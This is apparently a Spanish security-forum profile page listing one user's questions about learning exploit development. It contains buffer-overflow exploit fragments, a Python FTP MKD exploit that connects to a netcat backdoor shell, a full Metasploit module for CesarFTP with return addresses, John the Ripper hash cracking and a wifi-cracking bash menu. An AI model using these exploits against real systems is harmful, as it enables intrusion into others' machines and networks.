Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - RocKHounD

#1
Buenas, aquí esta el codigo:

http://www.exploit-db.com/exploits/16798/

Mi duda es esta


 
   def exploit
       connect

       uri_start  = "GET /"
       uri_end    = ".html HTTP/1.0\r\n\r\n"
       sc_base    = 16

       shellcode  = payload.encoded
       sploit     = rand_text_alphanumeric(5001)
       sploit[sc_base, shellcode.length] = shellcode

       # 4343 : Apache/1.3.37 (Win32) mod_jk/1.2.20
       # 4407 : Apache/2.0.59 (Win32) mod_jk/1.2.20
       # 4423 : Apache/2.2.3  (Win32) mod_jk/1.2.20

       [ 4343, 4407, 4423 ].each { |seh_offset|
           sploit[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')
           sploit[seh_offset - 4, 2] = "\xeb\xf9"
           sploit[seh_offset    , 4] = [ target.ret ].pack('V')
       }

       



Estoy tratando de pasarlo a python, las líneas que no se interpretar son las siguientes:

sploit[sc_base, shellcode.length] = shellcode
sploit[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')
sploit[seh_offset - 4, 2] = "\xeb\xf9"
sploit[seh_offset    , 4] = [ target.ret ].pack('V')



Como seguirías este buffer?



Buffer = "GET /"
Buffer += '\x41' * 5001
Buffer += ????
Buffer += ????
[...]
Buffer += ".html HTTP/1.0\r\n\r\n"


Gracias chicos!!
#2
Buenas chicos, os pongo un escenario.

Un pc atacante
Un pc destino con un servicio ssh.


A dicho servidor es posible obtener con nmap tanto RSA como DSA,

Bien, si al extraer los dos y lanzarlos con la opción -i, en lugar de la clave de siempre pide un passphrase, alguien sabe como descifrar este tema?

Gracias!!
#3
Buenas, estoy intentando integrar un comando en bash dentro de un script de python para lanzar un netcat

Esto funciona.

#!/usr/bin/python
import os
os.system("nc 192.168.0.4 28876 -vvv")


pero quiero meterlo despues de un exploit y el codigo no llega a ejecutarse


#!/usr/bin/python

import socket
import sys
import os

[...]

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.0.4',21))

s.recv(1024)
s.send('USER ftp\r\n')
s.recv(1024)
s.send('PASS ftp\r\n')
s.recv(1024)
s.send('MKD ' + buf + '\r\n')
print "[*] Sending BufferOverflow..."
print "[*]" , (len(buf)) , "bytes Evil code"
print "[*] Starting connection backdoor port 28876"
s.recv(1024)
s.send('QUIT\r\n')
s.close()
sleep(5)
print "[*] Spawning Shell"
os.system("nc 192.168.0.4 28876 -vvv")



cuando lo ejecuto en la consola hace su cometido, pero no llega a la parte final.


[*] Sending BufferOverflow...
[*] 1017 bytes Evil code
[*] Starting connection backdoor port 28876



Por lo que en otra ventana he de ir y arrancar netcat



root@bt:~/Desktop# nc 192.168.0.4 28876

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\>



Me hechais un cablecillo??
#4
Bugs y Exploits / [DUDA] Immunity Debugger
28 Febrero 2012, 12:50 PM
Buenas, cuando tengo un proceso dentro del debugger y mando mi exploit, me sale el mensaje

Debug string: AnswerHandler called y asi se queda todo el rato.

alguien sabe que estoy haciendo mal?
#5
Buenas a todos, espero que podais ayudarme porque estoy apunto de lanzarme por un puente...  :-(

Buffer Overflow en CesarFTP 0.99g

Estoy intentando replicar este buffer overflow para seguir aprendiendo estos temas y me he quedado estancado con algunas dudas.

la historia es la siguiente, cuando creo con msfvenom el payload windows/shell/reverse_ord_tcp eliminando los siguientes badchars "\x00\x20\x0a\x0d" (los badchars los extraje del modulo de metasploit)

veo que teniendo un netcat escuchando por el puerto recibo la conexion, pero algo debe de ir mal porque no obtengo ninguna shell.

he modificado con el RET correcto el modulo de metasploit y funciona correctamente pero no soy capaz de replicarle.

mis dudas son estas:

cuando con msfpayload creo la shellcode que puse arriba de arroja dos trozos de codigo, stage1 y stage2. (msfvenom me da un codigo, no dos como msfpayload)

que precisamente es lo que hace msfconsole cuando lo lanzo, crea una stage1 y envia algo, luego crea la stage2 y vuelve a enviar algo hasta que te crea una shell de meterpreter.

como deberia incluir esa parte en el script??.


luego, hay al menos 300 bytes de espacio, si pongo la shellcode de calc.exe la abre a la perfección, sin nigún error en el debbuging, pero cuando pongo la otra se queda medio parado y tengo que forzar la lectura de la pila a mano.

es posible que la eliminación de badchars rompa la shellcode??

con findjump2.exe saco mil offsets para hacer saltar el flujo de la ejecución a mi shellcode, ¿varia el espacio final de la shellcode dependiendo de que JMP ESP escoja??

Otra cosa rarísima es que si en el script en lugar de llamar a la shellcode pongo "B" * 500 para ver mas o menos que espacio tengo disponible, el debbuger no hace absolutamente nada... pero nada de nada... se queda parado como si hubiera recibido el codigo pero lo hubiera asimilado el programa dando la salida ok.

Este es el código que estoy usando, faltan algunas cosas como la propia shellcode y el RET, porque no estoy en casa ahora mismo.

Despues de este está el modulo ruby de metasploit a reproducir, en dicho modulo os pongo "\r\n" cuando define el exploit, porque en el modulo original falta.

Espero que podáis ayudarme, muchas gracias.


#!/usr/bin/python

from socket import *
import struct

eip = struct.pack('<i', 0x54234568 #me la he inventado)

shellcode = ()


host = "127.0.0.1"
port = 21
user = "ftp"
password = "ftp"

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)

s.send("user %s\r\n" % (user))
print s.recv(1024)

s.send("pass %s\r\n" % (password))
print s.recv(1024)

buffer = "MKD "
buffer += "\n" * 671
buffer += "A" * 3
buffer += eip
buffer += "\x90" * 40
buffer += shellcode
buffer += "\r\n"

print "len: %d" % (len(buffer))

s.send(buffer)
print s.recv(1024)

s.close()



##
# $Id: cesarftp_mkd.rb 11799 2011-02-23 00:58:54Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
   Rank = AverageRanking
   include Msf::Exploit::Remote::Ftp
   def initialize(info = {})
       super(update_info(info,
           'Name'           => 'Cesar FTP 0.99g MKD Command Buffer Overflow',
           'Description'    => %q{
               This module exploits a stack buffer overflow in the MKD verb in CesarFTP 0.99g.
               You must have valid credentials to trigger this vulnerability. Also, you
               only get one chance, so choose your target carefully.
           },
           'Author'         => 'MC',
           'License'        => MSF_LICENSE,
           'Version'        => '$Revision: 11799 $',
           'References'     =>
               [
                   [ 'CVE', '2006-2961'],
                   [ 'OSVDB', '26364'],
                   [ 'BID', '18586'],
                   [ 'URL', 'http://secunia.com/advisories/20574/' ],
               ],
           'Privileged'     => true,
           'DefaultOptions' =>
               {
                   'EXITFUNC' => 'process',
               },
           'Payload'        =>
               {
                   'Space'    => 250,
                   'BadChars' => "\x00\x20\x0a\x0d",
                   'StackAdjustment' => -3500,
                   'Compat'        =>
                       {
                           'SymbolLookup' => 'ws2ord',
                       }
               },
           'Platform'       => 'win',
           'Targets'        =>
               [
                   [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
                   [ 'Windows 2000 Pro SP4 French',  { 'Ret' => 0x775F29D0 } ],
                   [ 'Windows XP SP2/SP3 English',       { 'Ret' => 0x774699bf } ], # jmp esp, user32.dll
                   #[ 'Windows XP SP2 English',       { 'Ret' => 0x76b43ae0 } ], # jmp esp, winmm.dll
                   #[ 'Windows XP SP3 English',       { 'Ret' => 0x76b43adc } ], # jmp esp, winmm.dll
                   [ 'Windows 2003 SP1 English',     { 'Ret' => 0x76AA679b } ],
               ],
           'DisclosureDate' => 'Jun 12 2006',
           'DefaultTarget'  => 0))
   end
   def check
       connect
       disconnect
       if (banner =~ /CesarFTP 0\.99g/)
           return Exploit::CheckCode::Vulnerable
       end
           return Exploit::CheckCode::Safe
   end
   def exploit
       connect_login
       sploit =  "\n" * 671 + rand_text_english(3, payload_badchars)
       sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded + "\r\n"
       print_status("Trying target #{target.name}...")
       send_cmd( ['MKD', sploit] , false)
       handler
       disconnect
   end
end
#6
Bugs y Exploits / Tipos de Ataques -- FUZZING
9 Diciembre 2011, 14:32 PM
Buenas,

Como he comentado en otro post, estoy vulnerando un servidor ftp que es debil en el comando MKD,

en este caso, no es posible vulnerarlo con lo que se está acostumbrado a ver, ej:

"\x41" * 1000

si no que se realiza con saltos de línea.

'\n' * 671

Mi pregunta es la siguiente...

que tipos de datos tendríamos que introducir en un software para provocar una falla?

he encontrado esto en internet, pero me gustaría algún tipo de desglose:

CitarTipos de ataques

Un fuzzer debe intentar diferentes combinaciones de ataques en :

- numeros (signed/unsigned integers/float...)

- caracteres (urls, command-line inputs)

- metadata : user-input text (id3 tag)

- sequencias binarias

Un metodo es definir una lista de "valores peligrosos conocidos" " (fuzz vectors) para cada tipo e injectarlos o su combinacion.

- Para enteros: cero, negativos o o numeros muy grandes

- Para caracteres: escape , caracteres interpretables ( comas, numeral,...)

- Para binarios: Unos al azar
#7
Buenas, quería saber si las direcciones de retorno varían según la version de windows.

se que si varia el service pack varia la direccion de retorno, aunque no se si siempre.

Este efecto ocurre tambien entre las distintas versiones originales de windows?

entre la version home, premiun, etc?

gracias
#8
Bugs y Exploits / Fascinante tanto uno como otro....
11 Noviembre 2011, 03:48 AM
Buenas a todos, tengo una duda....

Creo que tanto explotar una falla como encontrarla es igual de interesantes,

me interesa mucho conocer la parte de buscarlas en navegadores...

he probado varios fuzzers y bueno... quizás no sepa usarlos como es debido, quería saber si alguno conoce alguna web que recoja estas cosas, técnicas y demás,

se que en esto soy muy iniciado, pero estoy apunto de acabar la certificación PWB de offensive security e ire de cabeza a por CTP por lo que me fascina.

siento el aburrimiento   :rolleyes:
#9
Criptografía / Duda con hash y john
31 Octubre 2011, 15:20 PM
Buenas, tengo un hash... pero no sé a que tipo de cifrado corresponde...  ;-)

no sé me ocurre de que manera tengo que leerlo con john..


cat hash.txt
#### Contenido del hash ####
0c456f90c4a1bc023399e0872ff9




cat format.txt
#### Contenido de los formatos soportados por John ####
DES
BSDI
MD5
BF
AFS
LM
NT
XSHA
PO
raw-MD5
MD5-gen
IPB2
raw-sha1
md5a
hmac-md5
phpass-md5
KRB5
bfegg
nsldap
ssha
openssha
oracle
oracle11
MYSQL
mysql-sha1
mscash
mscash2
lotus5
DOMINOSEC
NETLM
NETNTLM
NETLMv2
NETNTLMv2
NETHALFLM
MSCHAPv2
mssql
mssql05
epi
phps
mysql-fast
pix-md5
sapG
sapB
md5ns
HDAA
DMD5
raw-md4
md4-gen
sha1-gen
crypt



A si que lanzo cualquier tipo contra el hash que tengo así

cat format.txt | while read line; do ./john --format=$line hash.txt && echo $line ;done

he aqui el resultado:

No password hashes loaded
DES
No password hashes loaded
BSDI
No password hashes loaded
MD5
No password hashes loaded
BF
No password hashes loaded
AFS
No password hashes loaded
LM
No password hashes loaded
NT
No password hashes loaded
XSHA
No password hashes loaded
PO
No password hashes loaded
raw-MD5
No password hashes loaded
MD5-gen
No password hashes loaded
IPB2
No password hashes loaded
raw-sha1
No password hashes loaded
md5a
No password hashes loaded
hmac-md5
No password hashes loaded
phpass-md5
No password hashes loaded
KRB5
No password hashes loaded
bfegg
No password hashes loaded
nsldap
No password hashes loaded
ssha
No password hashes loaded
openssha
No password hashes loaded
oracle
No password hashes loaded
oracle11
No password hashes loaded
MYSQL
No password hashes loaded
mysql-sha1
No password hashes loaded
mscash
No password hashes loaded
mscash2
No password hashes loaded
lotus5
No password hashes loaded
DOMINOSEC
No password hashes loaded
NETLM
No password hashes loaded
NETNTLM
No password hashes loaded
NETLMv2
No password hashes loaded
NETNTLMv2
No password hashes loaded
NETHALFLM
No password hashes loaded
MSCHAPv2
No password hashes loaded
mssql
No password hashes loaded
mssql05
No password hashes loaded
epi
No password hashes loaded
phps
No password hashes loaded
mysql-fast
No password hashes loaded
pix-md5
No password hashes loaded
sapG
No password hashes loaded
sapB
No password hashes loaded
md5ns
No password hashes loaded
HDAA
No password hashes loaded
DMD5
No password hashes loaded
raw-md4
No password hashes loaded
md4-gen
No password hashes loaded
sha1-gen
Generic crypt(3) module: hash encoding string length 28, type id #0
appears to be unsupported on this system; will not load such hashes.
No password hashes loaded
crypt



¿¿Algún experto en la materia??
#10
Seguridad / Duda con hash y john
31 Octubre 2011, 13:54 PM
Buenas, tengo un hash... pero no sé a que tipo de cifrado corresponde...  ;-)

no sé me ocurre de que manera tengo que leerlo con john..


cat hash.txt
#### Contenido del hash ####
0c456f90c4a1bc023399e0872ff9




cat format.txt
#### Contenido de los formatos soportados por John ####
DES
BSDI
MD5
BF
AFS
LM
NT
XSHA
PO
raw-MD5
MD5-gen
IPB2
raw-sha1
md5a
hmac-md5
phpass-md5
KRB5
bfegg
nsldap
ssha
openssha
oracle
oracle11
MYSQL
mysql-sha1
mscash
mscash2
lotus5
DOMINOSEC
NETLM
NETNTLM
NETLMv2
NETNTLMv2
NETHALFLM
MSCHAPv2
mssql
mssql05
epi
phps
mysql-fast
pix-md5
sapG
sapB
md5ns
HDAA
DMD5
raw-md4
md4-gen
sha1-gen
crypt



A si que lanzo cualquier tipo contra el hash que tengo así

cat format.txt | while read line; do ./john --format=$line hash.txt && echo $line ;done

he aqui el resultado:

No password hashes loaded
DES
No password hashes loaded
BSDI
No password hashes loaded
MD5
No password hashes loaded
BF
No password hashes loaded
AFS
No password hashes loaded
LM
No password hashes loaded
NT
No password hashes loaded
XSHA
No password hashes loaded
PO
No password hashes loaded
raw-MD5
No password hashes loaded
MD5-gen
No password hashes loaded
IPB2
No password hashes loaded
raw-sha1
No password hashes loaded
md5a
No password hashes loaded
hmac-md5
No password hashes loaded
phpass-md5
No password hashes loaded
KRB5
No password hashes loaded
bfegg
No password hashes loaded
nsldap
No password hashes loaded
ssha
No password hashes loaded
openssha
No password hashes loaded
oracle
No password hashes loaded
oracle11
No password hashes loaded
MYSQL
No password hashes loaded
mysql-sha1
No password hashes loaded
mscash
No password hashes loaded
mscash2
No password hashes loaded
lotus5
No password hashes loaded
DOMINOSEC
No password hashes loaded
NETLM
No password hashes loaded
NETNTLM
No password hashes loaded
NETLMv2
No password hashes loaded
NETNTLMv2
No password hashes loaded
NETHALFLM
No password hashes loaded
MSCHAPv2
No password hashes loaded
mssql
No password hashes loaded
mssql05
No password hashes loaded
epi
No password hashes loaded
phps
No password hashes loaded
mysql-fast
No password hashes loaded
pix-md5
No password hashes loaded
sapG
No password hashes loaded
sapB
No password hashes loaded
md5ns
No password hashes loaded
HDAA
No password hashes loaded
DMD5
No password hashes loaded
raw-md4
No password hashes loaded
md4-gen
No password hashes loaded
sha1-gen
Generic crypt(3) module: hash encoding string length 28, type id #0
appears to be unsupported on this system; will not load such hashes.
No password hashes loaded
crypt



¿¿Algún experto en la materia??
#11
Bugs y Exploits / Dudas con Buffer Overflow...
27 Octubre 2011, 10:51 AM
Buenos días,

Estoy siguiendo un "paper" y quería que me resolvierais algunas dudas que tengo.

Paper: http://www.exploit-db.com/download_pdf/17971

Os posteo el histórico que he hecho.

creo un script en python para que genere un archivo .m3u

Código:
buffer =
payload = (buffer)
f = open("Exploit.m3u","wb")
f.write(payload)
f.close()

Creo con pattern_create un string de 1000 caracteres. y el resultado lo pego en el script que he comentado, quedando de la siguiente manera:

Código:
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
payload = (buffer)
f = open("Exploit.m3u","wb")
f.write(payload)
f.close()

Una vez ejecuto el script, este genera el archivo.

Con Ollydbg abro el archivo causando un desbordamiento:


Código:
CPU - main thread

EAX 00000000
ECX 00000000
EDX 001220B0 ASCII "C:\Users\cprados\Desktop\exploit\Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6A
EBX 0038B658 ASCII "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7A
ESP 001221B8 ASCII "Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4A
EBP 000003E9
ESI 00122990 ASCII "C:\Users\cprados\Desktop\exploit\Exploit.m3u"
EDI 000003E8
EIP 36684135

C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDF000(4000)
T 0  GS 0000 NULL
D 0
O 0  LastErr 00000000 ERROR_SUCCESS
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)

ST0 empty 1.9909870777517070580e+1958
ST1 empty -2.9727283095472006590e-1400
ST2 empty 9.1910189915361154180e+2175
ST3 empty +UNORM 145F 0BA568B6 FA5EEA55
ST4 empty -1.9778078459257461330e-656
ST5 empty 1.2054646051545530210e+616
ST6 empty 1.0000000000000000000
ST7 empty 22.000000000000000000
               3 2 1 0      E S P U O Z D I
FST 0020  Cond 0 0 0 0  Err 0 0 1 0 0 0 0 0 (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1
Last cmnd 001B:76D1EC2A msvcrt.76D1EC2A

XMM0 00000000 00000000 00000000 00000000
XMM1 437984EC 66EF3DF2 CB1BEEFF 8C267657
XMM2 ED3EE9DB FB1A9069 9795720B FD1C8C47
XMM3 67839EC8 8E3B1C5C 2CD66001 3F5CD3EE
XMM4 1A014E73 BF9FF4DA B1A9F74D 39E90125
XMM5 5F38FD76 69B87053 30B4A6C2 CE27E325
XMM6 470B8912 21C0E7A4 E3B1A8C3 1A82EC9B
XMM7 19FC0166 BFBCD0C4 3B21C6ED D37B00F5
                                P U O Z D I
MXCSR 00001F80  FZ 0 DZ 0  Err  0 0 0 0 0 0
                Rnd NEAR   Mask 1 1 1 1 1 1


Ahora calculo el tamaño exacto que sobreescribe la pila con pattern_offset del EIP 36684135.

El resultado es 227 por lo que modifico el script de nuevo quedando así:

Código:
buffer = "A" * 227
payload = (buffer)
f = open("Exploit.m3u","wb")
f.write(payload)
f.close()

Vuelvo a abrir Ollydbg y ejecuto el archivo, posteo la salida:

Código:
CPU - main thread

EAX 00000000
ECX 00000000
EDX 001220B0 ASCII "C:\Users\cprados\Desktop\exploit\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBX 00029CC0 ASCII 41,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
ESP 001221B8
EBP 000000E4
ESI 00122990 ASCII "C:\Users\cprados\Desktop\exploit\Exploit.m3u"
EDI 000000E3
EIP ABABABBA

C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDF000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr 00000000 ERROR_SUCCESS
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)

ST0 empty -??? FFFF 00000000 00000000
ST1 empty -??? FFFF 00FF00FF 00FF00FF
ST2 empty -??? FFFF 00000000 00000000
ST3 empty -??? FFFF 00B200C3 00E700F9
ST4 empty -NAN FFFF B3C4E8FA FF787878
ST5 empty -??? FFFF 00B300C4 00E800FA
ST6 empty 1.0000000000000000000
ST7 empty 22.000000000000000000
               3 2 1 0      E S P U O Z D I
FST 0020  Cond 0 0 0 0  Err 0 0 1 0 0 0 0 0 (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1
Last cmnd 001B:76D1EC2A msvcrt.76D1EC2A

XMM0 00000000 00000000 00000000 00000000
XMM1 00000000 00000000 00000000 00000000
XMM2 00000000 00000000 00000000 00000000
XMM3 00000000 00000000 00000000 26000000
XMM4 61007200 70006300 00000000 00000000
XMM5 00003100 4E001600 00007300 6F006400
XMM6 706F746B 73654400 11000000 00000000
XMM7 00000000 000000BE EF000400 07003800
                                P U O Z D I
MXCSR 00001F80  FZ 0 DZ 0  Err  0 0 0 0 0 0
                Rnd NEAR   Mask 1 1 1 1 1 1

Código:
CPU Stack
Address   Value      ASCII Comments
001221B8   ABABABAB  ««««
001221BC   EEFEEEAB  «îþî
001221C0   000000FE  þ
001221C4   00122990  �)   ; ASCII "C:\Users\cprados\Desktop\exploit\Exploit.m3u"
001221C8   00000003  
001221CC   00000021  !
001221D0   75D3D3D6  ÖÓÓu  ; kernel32.lstrcpyA
001221D4   00122B9D  �+   ; ASCII "Exploit.m3u"
001221D8   75D3D429  )ÔÓu  ; kernel32.lstrcatA
001221DC   00000000
001221E0   000002FC  ü
001221E4   00000003  
001221E8   00000021  !
001221EC   00000000
001221F0   000000E3  ã
001221F4   00000047  G
001221F8   7713DF26  &ßw  ; RETURN from ntdll.RtlFillMemoryUlong to ntdll.7713DF26
001221FC   001222E0  à"
00122200   770DF0F2  òð
w  ; RETURN from ntdll.770DF0BE to ntdll.770DF0F2
00122204   77122447  G$w  ; RETURN from ntdll.7710481D to ntdll.77122447
00122208   0012A021  !*
0012220C   001B0000    
00122210   00000000
00122214   00000000
00122218   001B0148  H
0012221C   000000E3  ã
00122220   41414141  AAAA
00122224   41414141  AAAA
00122228   41414141  AAAA
0012222C   41414141  AAAA
00122230   41414141  AAAA
00122234   41414141  AAAA
00122238   41414141  AAAA
0012223C   41414141  AAAA
00122240   41414141  AAAA
00122244   41414141  AAAA
00122248   41414141  AAAA
0012224C   41414141  AAAA
00122250   41414141  AAAA
00122254   41414141  AAAA


Entonces aqui vienen mis preguntas...

¿Por que EIP no se sobreescribe con "A", EIP ABABABBA ?
En el paper el tio usa 207 caracteres a diferencia de los 227 que me ha calculado el pattern_offset, ¿por que?

Luego comenta que con findjmp intenta encontrar direcciones válidas para hacer saltar luego a nuestra shellcode, no entiendo esta parte, es más no se que librería he de buscar...

De momento es todo porque no quiero seguir con el tuto sin aclarar estas cosas...

Disculpad por la chapa que os he dado y de nuevo disculpas si esto no va a aquí.

Gracias a todos.
#12
Buenas a todos,

Me gustaría que entre todos hicieramos paso a paso una busqueda de vulnerabilidades en algún software que ya esté vulnerado de sobra.

Algún FTP server o algo.

Me estoy perdiendo en el manual de rojodos y cada vez que os leo me pierdo aún más.

Me gustaría ver en olly u otro debugger el comportamiento del fuzzer y entender cada campo.

Estoy estudiando la certificación de Offensive Security pero ahi solo hay un ejemplo y me gustaría ver algo más definido.

Gracias a todos.
#13
Bugs y Exploits / Fuzzing con NetCat, pregunta.
7 Febrero 2011, 09:45 AM
Buenas a todos,

.../pattern_create.rb 1024 | nc 192.168.1.222 5369


En este ejemplo inyecto 1024 con netcat al puerto remoto 5369, pero... cuando el servicio es ftp y quiero meter algo en CWD o STOR?? como se haría con NetCat???

Gracias!!!



#14

Buenas a todos,

ayer me puse con este tema de nuevo y tengo alguna duda que espero que alguno sepa resolverla.

he usado un fuzzer y he adjuntado el proceso svchost en ollydbg,

Mi sorpresa... aparece un "Access Violation When Executing [no lo recuerdo]

eso que narices quiere decirme?

se que me he cargado el servicio porque me ha dicho que el servicio DCOM tiene que cerrarse a si como la sesion para recuperarse, se me ha reiniciado el Windows 7 sin ningun miramiento.

Gracias por adelantado
#15
Buenas a todos,

Me gustaria saber como lanzar una consola airodump-ng con xterm y en el terminal raiz lanzar aireplay-ng -1.....
y aireplay-ng -3....

simultaneamente.

Esto es posible?, quiero que se lancen sin importarme si un comando ha acabado de ejecutarse o no...

no me vale ";" ni "&"

es posible lanzar xterm ejecutando un comando y ponerlo en background?

No paro de buscar y no encuentro nada de nada.

Espero que podáis ayudarme porque me trae de cabeza....

Gracias.
#16
Hola a todos,

Hace tiempo cree el siguiente script que quiero compartir con vosotros, el codigo bueno... probablemente pueda depurarse casi en su total, aun asi funciona.
Esta creado para funcionar en BT4 con Chipset RTL.

La tercera linea del script puede modificarse para cambiarel chipset,
wlandecrypter esta implementado en el script aunque debe encontrarse en /usr/sbin.

Espero mejoras y demas.

Como comente a ChimoC he creado un blog para temas de scripting y de tecnicas de nivel medio alto en el que me gustaria que participaseis todos.

Seguire aportando aqui las cosas que me ronden la cabeza.

Un saludo,

Si no puedo poner este enlace, borrar unicamente esta parte pero no borreis mi aporte,

Gracias

http://btcode.blogspot.com


Citar
Código (bash) [Seleccionar]

#!/bin/bash
airmon-ng stop mon0 >> /dev/null
clear
RTL8187=`airmon-ng |grep "rtl" |awk '{print $1}'`
echo [*] Cambiando la region de la tarjeta...
iw reg set BO
sleep 2
echo [*] Cambiando la potencia maxima a la tarjeta
iwconfig $RTL8187 txpower 30
sleep 2
echo [*] Habilitando Modo Monitor...
sleep 2
airmon-ng start $RTL8187 >> /dev/null
echo [*] Modo Monitor Habilitado
sleep 2
echo [*] Falsficando Mac Address
sleep 2
echo [*] Mac Address Falsificada
sleep 2
echo
echo
clear

monitor=`ifconfig |grep "mon0" |awk '{print $1}'`
mimac=00:11:22:33:44:55


rm out*
rm rep*
rm *.xor
rm *.diccionario
rm *-request
rm temp*
while :
do
clear
echo
echo "1. Escanear todas las redes con cifrado WEP "
echo "2. Escanear todas las redes con cifrado WPA "
echo "3. Escanear una red en particular"
echo "4. Lanzar Airodump-ng "
echo "5. Lanzar Aireplay-ng modo Selectivo"
echo "6. Lanzar Aireplay-ng modo inyectar ARP"
echo "7. Lanzar Aireplay-ng modo asociacion falsa V1"
echo "8. Lanzar Aireplay-ng modo asociacion falsa V2"
echo "9. Lanzar Aireplay-ng modo asociacion falsa V3"
echo "10. Lanzar Aireplay-ng para obtener el  PRGA"
echo "11. Lanzar Aireplay-ng fragmentado para obtener PRGA"
echo "12. Lanzar Packetforge-ng para crear un paquete ARP"
